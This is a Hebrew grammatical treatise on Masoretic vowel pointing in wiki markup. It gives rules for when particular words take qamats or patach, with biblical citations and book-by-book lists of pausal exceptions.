ואין אות שתהא שוה לח&quot;ת ועי&quot;ן במצע לעניין פתחות כי אם ה&quot;א לבדה במקומות מועטין, כגון {{צ|וַתַּהַר}}, {{צ|בַּהַט}}, {{צ|לַהַט}}, {{צ|רַהַב}}, {{צ|לַהַב}}. 

וכל {{צ|אָז}} קמץ. 

וכל {{צ|אַךְ}}, {{צ|גַּם}}, {{צ|רַק}}, פתח. 

וכל {{צ|וַיֹּאכַל}}, {{צ|וַתֹּאכַל}}, {{צ|וַיֹּאמֶר}}, {{צ|וַתֹּאמֶר}}, כולהון פתחין וטעמ' לרע, בר מן חד דטעמיה לעיל: {{צ|הֵעֵזָה פָנֶיהָ וַתֹּאמַר לוֹ}} {{ק|([[משלי ז יג]])}}. ואפילו אתנחתא וסוף פסוק' כולהון פתחין. 

ועוד דע והבן: אם באה ה&quot;א בראש התיבה, ובאה אחריה אל&quot;ף או עי&quot;ן, כגון {{צ|הָעַמִּים}}, {{צ|הָעָם}}, {{צ|הָעֹמְדִים}}, {{צ|הָאֵל}}, {{צ|הָאֲדָמָה}}, {{צ|הָאֲרָצוֹת}}, {{צ|הָאָדָם}}, {{צ|הָעֶבֶד}}, {{צ|הָאֱלֹהִים הָרֹעֶה אֹתִי}} {{ק|([[בראשית מח טו]])}} וכל דומיהן – קמצין. 

ואם באה ה&quot;א בתימה, כגון {{צ|הַאֵל יְעַוֵּת מִשְׁפָּט}} {{ק|([[איוב ח ג]])}}, {{צ|הַאֶל אֲדֹנֶיךָ וְאֵלֶיךָ}} {{ק|([[ישעיהו לו יב]])}}, {{צ|הַאֱלֹהִים אָנִי}} {{ק|([[מ&quot;ב ה ז]])}}, {{צ|הַעֶבֶד יִשְׂרָאֵל}} {{ק|([[ירמיהו ב יד]])}}, {{צ|הַאוֹתִי לֹא תִירָאוּ}} {{ק|([[ירמיהו ה כב]])}}, ננקדת בפתח, וכל דומיהן. 

ועוד {{צ|רָץ}} שהוא לשון דיבור, כגון {{צ|וְהִנֵּה אִישׁ רַץ לְבַדּוֹ}} {{ק|([[ש&quot;ב יח כד]] עי&quot;ש)}}, הוא פתח, ואם הוא עניין שם, כגון {{צ|רָץ לִקְרַאת רָץ}} {{ק|([[ירמיהו נא לא]])}}, הוא קמץ. 

וכל {{צ|עַל}}, {{צ|וְעַל}} שהן סמוכין, כגון {{צ|עַל הַמְּנֹרָה}} {{ק|([[ויקרא כד ד]])}} {{צ|עַל הַכַּפֹּרֶת}} {{ק|([[שמות כה כ]])}}, פתחין, ואם אינו סמוך, כגון {{צ|הֻקַם עָל}} {{ק|([[ש&quot;ב כג א]])}}, {{צ|וּמִטַּל הַשָּׁמַיִם מֵעָל}} {{ק|([[בראשית כז לט]])}}, הן קמצין. 

וכל {{צ|עַד}}, {{צ|וְעַד}} פתחין. 

וכל {{צ|חַג}}, {{צ|וְחַג}} הנסמך לשם הקודש ולאות ה&quot;א הן פתחין, כגון {{צ|חַג יְיָ לָנוּ}} {{ק|([[שמות י ט]])}}, וכגון {{צ|חַג הַמַּצּוֹת}}, {{צ|חַג הַשָּׁבֻעוֹת}}, {{צ|חַג הַסֻּכּוֹת}} {{ק|([[דברים טז טז]])}}. והיוצאין מתנאי זה הן קמצין, [כי&quot;מ: {{צ|בְּיֶרַח הָאֵתָנִים בֶּחָג}} {{ק|([[מ&quot;א ח ב]])}}, {{צ|בָעֵת הַהִיא אֶת הֶחָג}} {{ק|([[מ&quot;א ח סה]])}}.] בר מן ג' פתחין: {{צ|אִסְרוּ חַג בַּעֲבֹתִים}} {{ק|([[תהלים קיח כז]])}}, {{צ|וְחַג שָׁבֻעֹת}} {{ק|([[שמות לד כב]])}}, {{צ|וַיַּעֲשׂוּ חַג מַצּוֹת}} דעזרא {{ק|([[עזרא ו כב|ו כב]])}}. 

תנאי {{צ|מָה}} קמץ ו{{צ|מַה}} פתח: כל {{צ|מָה}} הסמוך לאלו ג' אותיות אה&quot;ר קמצין, כגון {{צ|מָה אֹמַר}} {{ק|([[שמות ג יג]])}}, {{צ|מָה הָאָרֶץ}} {{ק|([[במדבר יג יט]])}}, {{צ|מָה רְאִיתֶם}} {{ק|([[שופטים ט מח]])}}, אף על פי שאם בא במקף עם אחת מג' אותיות הללו, הוא קמץ ומתוג הוא כמעט מלמטה.

בר מן ד' שהן סמוכין לה&quot;א והם פתחין, והם {{צ|אַרְבַּע מֵאֹת שֶׁקֶל כֶּסֶף בֵּינִי וּבֵינְךָ מַה־הִוא}} {{ק|([[בראשית כג טו]])}}, {{צ|וּרְאִיתֶם אֶת הָאָרֶץ מַה־הִוא}} {{ק|([[במדבר יג יח]])}}, {{צ|וּמִדַּת יָמַי מַה־הִיא}} {{ק|([[תהלים לט ה]])}}, {{צ|וָאֹמַר מַה־הִיא וַיֹּאמֶר זֹאת הָאֵיפָה}} {{ק|([[זכריה ה ו]])}}. 

ואם הוא עומד באחד מי&quot;ב טעמים הוא קמץ, כגון {{צ|וְנַחְנוּ מָ֔ה}} {{ק|([[שמות טז ז]])}}, [כי&quot;מ: {{צ|וְלֹא יָדַעְתִּי מָֽה}} {{ק|([[ש&quot;ב יח כט]])}},] {{צ|וַאֲמַרְתֶּם עַל מָ֑ה}} {{ק|([[מלאכי ב יד]])}} וכל דומיהן. 

וכל {{צ|מָה}} דארמית דדניאל ועזרא קמצין, כגון {{צ|מָה דִּי לֶהֱוֵא אַחֲרֵי דְנָה}} {{ק|([[דניאל ב כט]])}}. 

ויש ז' {{צ|מָה}} במקרא דסמיכן לח&quot;ת ועי&quot;ן והן קמצין, ואלו הן: {{צ|מָה עִמָּדִי וְקַח לָךְ}} {{ק|([[בראשית לא לב]])}}, {{צ|(ו)מַה חַטָּאתִי כִּי דָלַקְתָּ אַחֲרָי}} {{ק|([[בראשית לא לו]])}}, {{צ|כִּי מָה עַבְדְּךָ הַכֶּלֶב}} {{ק|([[מ&quot;ב ח יג]])}}, {{צ|וַאֲמַרְתֶּם עַל מָה עַל כִּי יְיָ הֵעִיד בֵּינְךָ}} {{ק|([[מלאכי ב יד]])}}, {{צ|וּמָה חַשְׁחָן}} {{ק|([[עזרא ו ט]])}}, {{צ|וְ[יֵ]אמַר לֵהּ מָה עֲבַדְתְּ}} {{ק|([[דניאל ד לב]])}}, {{צ|כִּי מַה חֶפְצוֹ בְּבֵיתוֹ אַחֲרָיו}} {{ק|([[איוב כא כא]])}}. וכל דסמיכין לח&quot;ת ועי&quot;ן הן {{צ|מֶה}}, בר מן אילין ז'. ועוד יש כ&quot;ד {{צ|מֶה}} בקרי שאינן סמוכין לח&quot;ת ועי&quot;ן, והן על פי המסורת. 

ובכל מקום שתמצא {{צ|מֶה}} הוא בא או במשרת או מתוג הוא כמעט מלמטה, והאות הבאה אחריה ננקדת ברפי, כגון {{צ|מֶ֣ה לִידִידִי}} {{ק|([[ירמיהו יא טו]])}}. 

וכל אות הבאה אחר {{צ|מַה}} פתח היא נדגשת, כגון {{צ|מַה נְּדַבֵּר וּמַה נִּצְטַדָּק}}, {{צ|מַה נֹּאמַר}} {{ק|([[בראשית מד טז]])}}, ו{{צ|מַה תֹּאמַר}} {{ק|([[ש&quot;א כ ד]])}}, {{צ|מַה יִּתְרוֹן}} {{ק|([[קהלת א ג]])}}, [כי&quot;מ: {{צ|מַה יַּעֲשֶׂה}} {{ק|([[תהלים נו ה]])}},] {{צ|מַה נַּעֲשֶׂה}} {{ק|([[שופטים יג ח]])}}, {{צ|מַה תַּעֲשֶׂה}} {{ק|([[ישעיהו מה ט]])}} וכל דומיהן. 

ועוד הבן: כל מקום שתמצא אות א&quot;ח ה&quot;ע בתיבה ואחריה אות המודגשת או ננקדת בשבא, לא תתכן אותה אות א&quot;ח ה&quot;ע שתהא ננקדת כי אם בפתח לבדו או בקמץ לבדו, כגון {{צ|אַתֶּם}}, {{צ|אַבְרֵךְ}}, {{צ|בַּעְלִיס}}, {{צ|עַמִּים}}, {{צ|עָבְרוּ}}, {{צ|חַרְבּוֹ}}, {{צ|הַרְבּוּ}}, ולא יתכן להיות בה חטף פתח, אבל יתכן להיות חטף קמץ, כגון {{צ|עֳבְרְכֶם}} {{צ|אֳרְכָּהּ}}, {{צ|הֳתְפָּקְדוּ}}, {{צ|הֳגְלָה}}. 

ויש סופרים שאינן מחברין חטף קמץ באות ואם בא בשבא תחת אות הסמוך לה, אלא נוקדים אותה בקמץ לבדו, ועשים {{צ|אָרְכָּהּ}}, {{צ|רָחְבָּהּ}}, {{צ|אָכְלָה בְשִׁלֹה}} {{ק|([[ש&quot;א א ט]])}}. ולא יתכן בעיני להיות כן, לפי שמצאנו {{צ|אֳכְלָה בְשִׁלֹה}} במסורת: לית דכוותיה, ואם כן הוא, הלא מצינו כמו כן ננקד {{צ|אָכְלָה וּמָחֲתָה פִיהָ}} {{ק|([[משלי ל כ]])}} בקמץ לבדו, ועתה נסתר המסורת. ועוד {{צ|קֳרְבָה אֶל נַפְשִׁי גְאָלָהּ}} {{ק|([[תהלים סט יט]])}}, מצינו במסורת: לית דכוותיה, ומצינו עוד {{צ|קָרְבָה שְׁנַת הַשֶּׁבַע}} {{ק|([[דברים טו ט]])}} ננקד כמו כן בקמץ, לפיכך נראה בעיני שיתכן חטף קמץ באות אף על פי שהאות השנייה לה ננקדת בשבא, כדי להפריד בין להבא בין לשעבר. 

ובכל מקום שתמצא {{צ|אַרְבַּע}} במקרא, בין אתנחתא בין סוף פסוק, כולהון פתחין. 

וכל {{צ|הַהוּא}}, {{צ|הַהִיא}} – פתח. 

וכל {{צ|הָהָר}}, [כי&quot;פ: {{צ|הָעָם}}] [כי&quot;מ: {{צ|הָהֵם}}] – קמצין. 

כל {{צ|נִמְכַּר}}, {{צ|וְנִמְכַּר}} – פתחין. 

וכל {{צ|מָךְ}} {{צ|וּמָךְ}} – קמצין.

וכל {{צ|חֲמַת}} שהוא לשון רוגז פתחין, וכל לשון קריה קמץ, [כי&quot;מ: כגון {{צ|אִם לֹא כְאַרְפַּד חֲמָת}} {{ק|([[ישעיהו י ט]])}}, {{צ|לְבֹא חֲמָת}} {{ק|([[במדבר יג כא]])}},] בר מן חד: {{צ|וּלְכוּ מִשָּׁם חֲמַת רַבָּה}} דנבואת עמוס {{ק|([[עמוס ו ב|ו ב]])}}. 

[כי&quot;מ: וכל {{צ|חָתָן}} קמץ, בר מן ד' דפתח חטף: {{צ|וַתִּקַּח}} {{ק|([[שמות ד כה]])}}, {{צ|וַיִּרֶף}} {{ק|([[שמות ד כו]])}}, {{צ|אַחְאָב}} {{ק|([[מ&quot;ב ח כז]])}}, (המלך) [{{צ|הַתִּמְנִי}} {{ק|([[שופטים טו ו]])}}], וחד {{צ|וַחֲתַן הַמֶּלֶךְ}} {{ק|([[ש&quot;א כב יד]])}}.] 

וכל {{צ|שָׁמָּה}} שהוא כמו שָׁם כולו קמץ וטעמיה מלעיל, אבל {{צ|שַׁמָּה וּמִזָּה}} {{ק|([[בראשית לו יג]])}} שהיא שם, חציו הראשון פתח והשני קמץ וטעמיה מלרע. [כי&quot;מ: וכן {{צ|שַׁמָּה}} שהוא לשון שממה, כגון {{צ|שַׁמָּה הֶחֱזִקָתְנִי}} {{ק|([[ירמיהו ח כא]])}}, חציו פתח וחציו קמץ וטעמיה מלרע.] 

וכן {{צ|יָמָּה}} קמץ וטעמיה מלעיל. 

{{צ|בַּמָּה}} – חציו הראשון פתח והשני קמץ וטעמיה מלרע. 

{{צ|למה}}, {{צ|ולמה}}, בין דגש ובין רפי כולו קמץ, ואם הוא דגש טעמיה לעיל, ואם הוא רפי טעמיה לרע. 

ועתה אודיעך תנאי {{צ|לָמָה}} רפי ו{{צ|לָמָּה}} דגש, באי זה מקום יוכשר דגש ובאי זה מקום יוכשר רפי. את הנסמך לג' אותיות א(ה)ח&quot;ע הן רפין, כגון {{צ|לָמָה יְיָ}} {{ק|([[שמות לב יא]])}}, {{צ|לָמָה הֶעֱלִיתֻנוּ}} {{ק|([[במדבר כא ה]])}}, {{צ|לָמָה עֲלִיתֶם}} {{ק|([[שופטים טו י]])}}, בר מן ה' דגש, והן {{צ|לָמָּה הִרְגַּזְתַּנִי}} {{ק|([[ש&quot;א כח טו]])}}, {{צ|לָמָּה הִצִּיתוּ עֲבָדֶיךָ}} {{ק|([[ש&quot;ב יד לא]])}}, {{צ|לָמָּה אִירָא בִּימֵי רָע}} {{ק|([[תהלים מט ו]])}}, {{צ|לָמָּה הָיָה כְאֵבִי נֶצַח}} {{ק|([[ירמיהו טו יח]])}}, {{צ|לָמָּה אַכֶּכָּה אַרְצָה}} {{ק|([[ש&quot;ב ב כב]])}}, וטעמיה מלעיל. 

וכל הנסמך לשאר י&quot;ט אותיות דגש, בר מן ג' רפיין, והן {{צ|לָמָה זְנַחְתָּ[נִי] (ותמאס)}} {{ק|([[תהלים מג ב]])}}, {{צ|לָמָה שְׁכַחְתָּנִי}} {{ק|([[תהלים מב י]])}}, {{צ|לָמָה שַׂמְתַּנִי לְמִפְגָּע לָךְ}} {{ק|([[איוב ז כ]])}}. כל {{צ|לָמָה}} רפי טעמיה לרע בר מן דין {{צ|לָ֤מָה שַׂמְתַּנִי}} דטעמיה לעיל. 

כל מפיק ה&quot;א בסוף התיבה, האות הקדומה לה היא נקמצת, כגון {{צ|אֳרְכָּהּ}}, {{צ|רֳחְבָּהּ}}, {{צ|יָדָהּ}}, {{צ|אֲהָהּ}} וכל דומיהן. 

אבל אם התיבה נסברת ונקראת עם התיבה אשר לפניה, כגון {{צ|הֲלֹא אֱלוֹהַּ גֹּ֣בַהּ שָׁמָ֑יִם}} {{ק|([[איוב כב יב]])}}, היא נפתחת והטעם מלעיל. 

ועוד הבן: כל מקום שתמצא שבא בין שני קמצין, כגון {{צ|יָדְךָ}}, {{צ|שָׂדְךָ}}, {{צ|לְבָבְךָ}}, {{צ|חֲמָתְךָ}}, {{צ|בְּקָרְךָ}}, אפילו יהיה התיבה לשון עשייה, כגון {{צ|אֲשֶׁר קָֽרְךָ֜ בַּדֶּרֶךְ}} {{ק|([[דברים כה יח]])}}, {{צ|הוּא עָֽשְׂךָ֖}} {{ק|([[דברים לב ו]])}}, לא יבטל השבא הקמץ אשר לפניו באלו ובכל דומיהן, וצריך הקמץ אשר לפני השבא להיות כמעט מתוג. אבל אם יצטרף דיגוש עם השבא באות, כגון {{צ|לְבַדְּךָ}} והדומה לו, לא יתכן הקמץ שם. 

וזהו טעמו שלדבר: אם תוציא אות ך' שבסוף התיבה מאלו הנזכרים למעלה ותשים בה אות אחרת, כגון {{צ|יָדוֹ}}, {{צ|יָדָהּ}}, {{צ|יָדִי}}, {{צ|בְּקָרוֹ}}, {{צ|בְּקָרִי}}, [כי&quot;מ: {{צ|לְבָבוֹ}},] {{צ|לְבָבִי}}, {{צ|שָׂדִי}}, {{צ|חֲמָתִי}}, אין שבא בתיבה, וחוקו ומשפטו להיות קמץ, שאין כאן אחת משמונה דברים המבטלין את הקמץ. אבל {{צ|לְבַדְּךָ}}, [כי&quot;מ: {{צ|לְבָבְךָ}}, {{צ|עִמְּךָ}}, {{צ|נַפְשְׁךָ}}] והדומה להן, אם תוציא אות ך' משם ותשים בה אות אחרת, כגון {{צ|לְבַדּוֹ}}, {{צ|לְבַדָּהּ}}, {{צ|לְבַדִּי}}, {{צ|לְבַדָּם}}, הדגש עומד במקומו, והוא אחד מח' דברים המבטלין את הקמץ. 

ועוד: אם תעשה את התיבה הזאת לשון נקבה, כגון {{צ|לְבַדֵּךְ}}, הדגש עומד במקומו; ואלו התיבות הנזכרות למעלה, אם תעשה אותן לשון נקבה, כגון {{צ|יָדֵךְ}}, {{צ|לְבַבֵךְ}}, {{צ|בְּקָרֵךְ}}, אין שם עלילת ח' דברים המבטלין בהן את הקמץ. וכן הילוכן בכל המקרא. 

ובכל מקום שתמצא ח&quot;ת או עי&quot;ן בתיבה ואחריה ה&quot;א בסוף התיבה, אין אותה ח&quot;ת ועי&quot;ן מבטלת את הקמץ אשר לפניה, כגון {{צ|אַרְבָּעָה}}, {{צ|שְׁמָעָה… סְלָחָה}} {{ק|([[דניאל ט יט]])}} וכל דומיהן. 

תנאי {{צ|כל}}, {{צ|וְכל}}, [כי&quot;מ: {{צ|בְּכל}}, {{צ|מִכּל}}, {{צ|לְכל}}, {{צ|הַכּל}}, {{צ|הֲכל}}, {{צ|כְּכל}},] את שהוא בא בטעם או במשרת, הוא ננקד {{צ|כֹּל}} חולם, ואת שהוא בא במקף עם התיבה שלאחריו, הוא ננקד {{צ|כָּל}} בקמץ, [כי&quot;מ: כגון {{צ|כָּל בְּהֵמָה}} {{ק|([[ויקרא כז יא]])}}, {{צ|וְכָל זֶה אֵינֶנּוּ}} {{ק|([[אסתר ה יג]])}}, {{צ|בְּכָל הַדֶּרֶךְ}} {{ק|([[דברים א לא]])}}, {{צ|מִכָּל הָאֹכֶל}} {{ק|([[ויקרא יא לד]])}}, {{צ|לְכָל בְּנֵי אַהֲרֹן}} {{ק|([[ויקרא ז י]])}}, {{צ|הֲכֹל הַיּוֹם}} {{ק|([[ישעיהו כח כד]])}}, {{צ|כְּכָל אֲשֶׁר}} {{ק|([[אסתר ג יב]])}} וכל דומ'. והבא בטעם או במשרת הוא ננקד מלעיל במלוא פום, כגון {{צ|וּבְחֹסֶר כֹּ֑ל}} {{ק|([[דברים כח מח]])}}, {{צ|וְכֹ֣ל אֲשֶׁר (זכל) [יִפֹּל]}} {{ק|([[ויקרא יא לב]])}}, כולהון ננקדין במלא פום]. בר מן ב' שאף על פי שהן עומדין במשרת הן ננקדין בקמץ, והם: {{צ|כָּ֥ל אֲחֵי רָשׁ שְׂנֵאֻהוּ}} {{ק|([[משלי יט ז]])}}, {{צ|כָּ֥ל עַצְמוֹתַי תֹּאמַרְנָה}} {{ק|([[תהלים לה י]])}}, ואין זולתם במקרא. 

וכל {{צ|אַל}}, [כי&quot;מ: {{צ|וְאַל}}] הוא פתח. 

וכל יו&quot;ד וי&quot;ו בסוף התיבה [כי&quot;פ: האות אשר למעלה מהם ננקדת] [כי&quot;מ: ננקד כולו] בקמץ, כגון {{צ|אֵלָיו}}, {{צ|בָּנָיו}}, [כי&quot;פ: {{צ|שִׁנָּיו}}, {{צ|עֵינָיו}}, {{צ|יָמָיו}},] [כי&quot;מ: {{צ|גַּלָּיו}}, {{צ|דָּמָיו}}, {{צ|הָרָיו}}, {{צ|וּבָנָיו}}, זָרָיו, {{צ|חַיָּיו}}, טַפָּיו, {{צ|יָמָיו}}, {{צ|כַּפָּיו}}, {{צ|לְפָנָיו}}, {{צ|מַדָּיו}}, {{צ|נִינָיו}}, {{צ|שָׂרָיו}}, {{צ|עֵינָיו}}, {{צ|פָּנָיו}}, {{צ|צָרָיו}}, {{צ|קַרְנָיו}}, {{צ|רַבָּיו}}, {{צ|[תַּ]חְתָּיו}} וכל דומיהן. ויש מן הנוקדים {{צ|עָנָיו}}, {{צ|בָּנָיו}}, שמטילין נקודה אחת בתוך הוי&quot;ו שלסוף {{צ|עָנָיו}}; ולא יתכן להיות, כי לא יכול להפריד בין {{צ|עֵשָׂו}} ל{{צ|עָשׂוּ}}, וסוף התיבה ננקדת כמין אוּ, על כן ראוי להטיל שם ב' נקודות להציב דבר על מתכונתו.] 

וכל {{צ|הִנָּךְ}}, {{צ|עָנָךְ}}, {{צ|עַמָּךְ}}, {{צ|עִמָּךְ}}, [כי&quot;מ: {{צ|אֲנָךְ}}] וכל דומיהן, קמצין. 

וכל ברוי דיוסף, כגון {{צ|וַיִּצְבֹּר יוֹסֵף בָּר}} {{ק|([[בראשית מא מט]])}}, קמצין; [כי&quot;מ: ברויי דשאר קרייא, כגון {{צ|נַשְּׁקוּ בַר}} {{ק|([[תהלים ב יב]])}}, {{צ|בַּר בִּטְנִי}} {{ק|([[משלי לא ב]])}}, {{צ|וּבַר הָיִיתִי בְעֵינֶיךָ}} {{ק|([[איוב יא ד]])}}, פתחין]. וכל פרוי דבלק – {{צ|פָּר וָאַיִל בַּמִּזְבֵּחַ}} {{ק|([[במדבר כג ב]] ועוד 3)}} – [כי&quot;מ: קמצין; שאר פרויי דקרא פתחין, כגון {{צ|פַּר בֶּן בָּקָר}} {{ק|([[ויקרא ד ג]] ועוד רבים)}}]. קרויי דבלעם, כגון {{צ|וַיִּקָּר אֱלֹהִים אֶל בִּלְעָם}} {{ק|([[במדבר כג ד]])}}, [כי&quot;מ: קמצין; שאר קרויי דקרא פתחין, כגון {{צ|וְשָׂשֹׂן וִיקַר}} {{ק|([[אסתר ח טז]] עי&quot;ש)}}]. וכל בזוי דמשלי, כגון {{צ|בָּז לְרֵעֵהוּ חֲסַר לֵב}} {{ק|([[משלי יא יב]])}}, [כי&quot;מ: קמצין; שאר בזויי דקרא פתחין, כגון {{צ|וְלָבֹז בַּז}} {{ק|([[ישעיהו י ו]])}}]. כברוי דקהלת – [כי&quot;פ: {{צ|מַה שֶּׁהָיָה כְּבָר (הוּא)}} {{ק|([[קהלת ג טו]])}}] [כי&quot;מ: כגון {{צ|כִּי כְבָר רָצָה}} {{ק|([[קהלת ט ז]])}} – קמצין, שאר קריא פתחין, כגון {{צ|עַל נְהַר כְּבָר}} {{ק|([[יחזקאל א א]] ועוד 3)}}]. קלוי דדניאל, כגון {{צ|קָל קַרְנָא מַשְׁרוֹקִיתָא}} {{ק|([[דניאל ג ה]] ועוד 3)}}, {{צ|קָל מִן שְׁמַיָּא}} {{ק|([[דניאל ד כח]])}}, כולהון קמצין; [כי&quot;מ: שאר קריא פתחין, כגון {{צ|קַל בְּרַגְלָיו}} {{ק|([[ש&quot;ב ב יח]])}}]. 

וכל {{צ|אַיִן}} פתחין, בר מן חד זקף קמץ, וסימ': {{צ|וּמוֹתַר הָאָדָם מִן הַבְּהֵמָה אָ֔יִן}} {{ק|([[קהלת ג יט]])}}. וכל [כי&quot;פ: {{צ|עַיִן}},] {{צ|יַיִן}}, {{צ|מַיִם}}, פתח, בר מן אתנחתא וסוף פסוק קמץ. וכן {{צ|שָׁמַיִם}}, {{צ|מִיֹּמַיִם}} {{ק|([[הושע ו ב]])}}, {{צ|פַּעֲמַיִם}}, פתחין, בר מן אתנחתא וסוף פסוק.

ובכל מקום אתנחתא וסוף פסוק קמץ, בר ממקצת מקומות בכל ספר וספר שהן פתחין, והם במספר בכל ספר וספר. 

אתנחתיות דבראשית י&quot;ב פתחין, וסימ': {{צ|וַתִּקַּח מִפִּרְיוֹ וַתֹּאכַ֑ל}} {{ק|([[בראשית ג ו]])}}, {{צ|לוֹט הַפֶּ֑תְחָה}} {{ק|([[בראשית יט ו]])}}, {{צ|וְאַכַּד וְכַלְנֵ֑ה}} {{ק|([[בראשית י י]])}}, {{צ|אֶל הָגָר וַתַּ֑הַר}} {{ק|([[בראשית טז ד]])}}, {{צ|וַיִּגְדַּל הַיֶּלֶד וַיִּגָּמַ֑ל}} {{ק|([[בראשית כא ח]])}}, {{צ|וַיִּקַּח אֶת הַמַּאֲכֶ֑לֶת}} {{ק|([[בראשית כב י]] ועוד 2)}}, {{צ|וַיָּקָם וַיֵּלַ֑ךְ וַיִּבֶז}} {{ק|([[בראשית כה לד]])}}, {{צ|הִנֵּה נָא זָקַ֑נְתִּי}} {{ק|([[בראשית כז ב]])}}, {{צ|וַיֵּצֵא יַעֲקֹב מִבְּאֵר שָׁ֑בַע}} {{ק|([[בראשית כח י]])}}, {{צ|וְאַחַר יָלְדָה בַּ֑ת}} {{ק|([[בראשית ל כא]])}}, {{צ|וַיָּבֹאוּ עַל הָעִיר בֶּ֑טַח}} {{ק|([[בראשית לד כה]])}}, {{צ|בַּבֹּקֶר יֹאכַל עַ֑ד}} {{ק|([[בראשית מט כז]])}}. 

סוף פסוק דבראשית פתחין [כי&quot;פ: י'] [כי&quot;מ: י&quot;ג], וסימן: [כי&quot;מ: {{צ|וּבֵין הַחֹשֶֽׁךְ}} {{ק|([[בראשית א ד]])}},] {{צ|וַתִּתֵּן גַּם לְאִישָׁהּ עִמָּהּ וַיֹּאכַֽל}} {{ק|([[בראשית ג ו]])}}, [כי&quot;מ: {{צ|לָהֶם לַחֹֽמֶר}} {{ק|([[בראשית יא ג]])}},] {{צ|וְגֶתֶר וָמַֽשׁ}} {{ק|([[בראשית י כג]])}}, {{צ|אָנֹכִי בֹּרַחַֽת}} {{ק|([[בראשית טז ח]])}}, {{צ|אֶת בְּרִיתִי הֵפַֽר}} {{ק|([[בראשית יז יד]])}}, {{צ|הָרָעָה וָמַֽתִּי}} {{ק|([[בראשית יט יט]])}}, {{צ|לְאַבְרָהָם מְצַחֵֽק}} {{ק|([[בראשית כא ט]])}}, {{צ|אֶת רִבְקָה וַיֵּלַֽךְ}} {{ק|([[בראשית כד סא]])}}, {{צ|וְגַעְתָּם וּקְנַֽז}} {{ק|([[בראשית לו יא]])}}, [כי&quot;מ: וכל {{צ|קְנַז}} דקריא פתחין,] {{צ|קָחֶם נָא אֵלַי וַאֲבָרֲכֶֽם}} {{ק|([[בראשית מח ט]] עי&quot;ש)}}, {{צ|בִּרְכֹת שָׁדַיִם וָרָֽחַם}} {{ק|([[בראשית מט כה]])}}, [כי&quot;מ: {{צ|לְפַרְעֹה לַחֹ֑מֶשׁ}} {{ק|([[בראשית מז כו]])}}]. 

אתנח' דאלה שמות פתחין ג', וסימ': {{צ|וַיֹּאמֶר מֹשֶׁה כֵּן דִּבַּ֑רְתָּ}} {{ק|([[שמות י כט]])}}, {{צ|וַיָּרֻם תּוֹלָעִים וַיִּבְאַ֑שׁ}} {{ק|([[שמות טז כ]])}}, {{צ|לֹא תִהְיֶה לוֹ כְּנֹשֶׁ֑ה}} {{ק|([[שמות כב כד]])}}. 

סוף פסוק' דאלה שמות פתחין [כי&quot;פ: ו'] [כי&quot;מ: ח'], וסימ': {{צ|יֹאכְלֵמוֹ כַּקַּֽשׁ}} {{ק|([[שמות טו ז]])}}, {{צ|לֹא תְשִׂימוּן עָלָיו נֶֽשֶׁךְ}} {{ק|([[שמות כב כד]])}}, [כי&quot;מ: לית נָשֶׁך בקר', {{צ|לָאֵפֹד וְלַחֹֽשֶׁן}} {{ק|([[שמות כה ז]])}},] {{צ|וְאֶת בִּגְדֵי בָנָיו לְכַהֵֽן}} {{ק|([[שמות לא י]])}}, {{צ|וַיָּקֻמוּ לְצַחֵֽק}} {{ק|([[שמות לב ו]])}}, {{צ|וְרִחַמְתִּי אֶת אֲשֶׁר אֲרַחֵֽם}} {{ק|([[שמות לג יט]])}}, [כי&quot;מ: לית נָדֶר בקר',] {{צ|אֲשֶׁר שִׁבַּֽרְתָּ}} {{ק|([[שמות לד א]])}}. 

אתנח' דויקרא פתחין [כי&quot;פ: ג'] [כי&quot;מ: ד'], וסימ': {{צ|מֻרְבֶּכֶת תְּבִיאֶ֑נָּה}} {{ק|([[ויקרא ו יד]])}}, {{צ|וְכָל מִנְחָה בְלוּלָה בַשֶּׁמֶן וַחֲרֵבָ֑ה}} {{ק|([[ויקרא ז י]])}}, {{צ|אֶת כַּסְפְּךָ לֹא תִתֵּן לוֹ בְּנֶ֑שֶׁךְ}} {{ק|([[ויקרא כה לז]])}}, [כי&quot;מ: {{צ|בֵּין הַקֹּדֶשׁ}} {{ק|([[ויקרא י י]])}}].

סוף פסוק' פתח' חד: {{צ|אוֹ מִן הַשְּׁתִי אוֹ מִן הָעֵֽרֶב}} {{ק|([[ויקרא יג נו]])}}. 

אתנח' דבמדבר סיני פתחין ד', וסימ': {{צ|וּבְנֻחֹה יֹאמַ֑ר}} {{ק|([[במדבר י לו]])}}, {{צ|נָשֵׁינוּ [וְ]טַפֵּנוּ יִהְיוּ לָבַ֑ז}} {{ק|([[במדבר יד ג]])}}, {{צ|וְאֶת מִצְוָתוֹ הֵפַ֑ר}} {{ק|([[במדבר טו לא]])}}, {{צ|וְעִנּוּ אַשּׁוּר וְעִנּוּ עֵ֑בֶר}} {{ק|([[במדבר כד כד]])}}, [כי&quot;מ: לית עָבֶר בקר'].

אתנח' דאלה הדברים פתחין ד', וסימ': {{צ|אֲשֶׁר שִׁבַּ֑רְתָּ}} {{ק|([[דברים י ב]])}}, {{צ|עַל לְבַבְכֶם וְעַל נַפְשְׁכֶ֑ם}} {{ק|([[דברים יא יח]])}}, {{צ|בְּאֹהֶל מוֹעֵד וַאֲצַוֶּ֑נּוּ}} {{ק|([[דברים לא יד]])}}, {{צ|עַל גּוֹזָלָיו יְרַחֵ֑ף}} {{ק|([[דברים לב יא]])}}. 

[כי&quot;מ: לית פתח בסו' פסו' דאלה הדברים.]

סליקו להו אתנח וסוף פסוק פתח דתורה.

אתנח' דיהושע פתחין ג', וסימן: {{צ|וּלְקַחְתֶּם מִן הַחֵ֑רֶם}} {{ק|([[יהושע ו יח]])}}, {{צ|וַיִּמְעֲלוּ בְנֵי יִשְׂרָאֵל מַעַל בַּחֵ֑רֶם}} {{ק|([[יהושע ז א]])}}, [כי&quot;מ: לית חָרֶם בקר',] {{צ|וַיִּתְּנוּ [אֶת] הַכְּנַעֲנִי לָמַ֑ס}} {{ק|([[יהושע יז יג]])}}.

לית פתח בסו' פסו' דיהושע. 

אתנח' דשופטים [כי&quot;פ: ב'] [כי&quot;מ: ג' פתח], וסימן: {{צ|יוֹשֵׁב צְפַ֑ת}} {{ק|([[שופטים א יז]])}}, [כי&quot;מ: [{{צ|וַיִּשְׁתַּ֑חוּ}} דגדעון {{ק|([[שופטים ז טו]] עי&quot;ש)}},] {{צ|וַתְּאַלְצֵ֑הוּ}} {{ק|([[שופטים טז טז]])}}.

[כי&quot;מ: סוף פסוק' דשופטים ב' פתחין, וסימ': {{צ|וַיִּהְיוּ לָמַֽס}} דזבולן {{ק|([[שופטים א ל]])}}, {{צ|וַיִּהְיוּ לָמַֽס}} דנפתלי {{ק|([[שופטים א לה]])}}.]

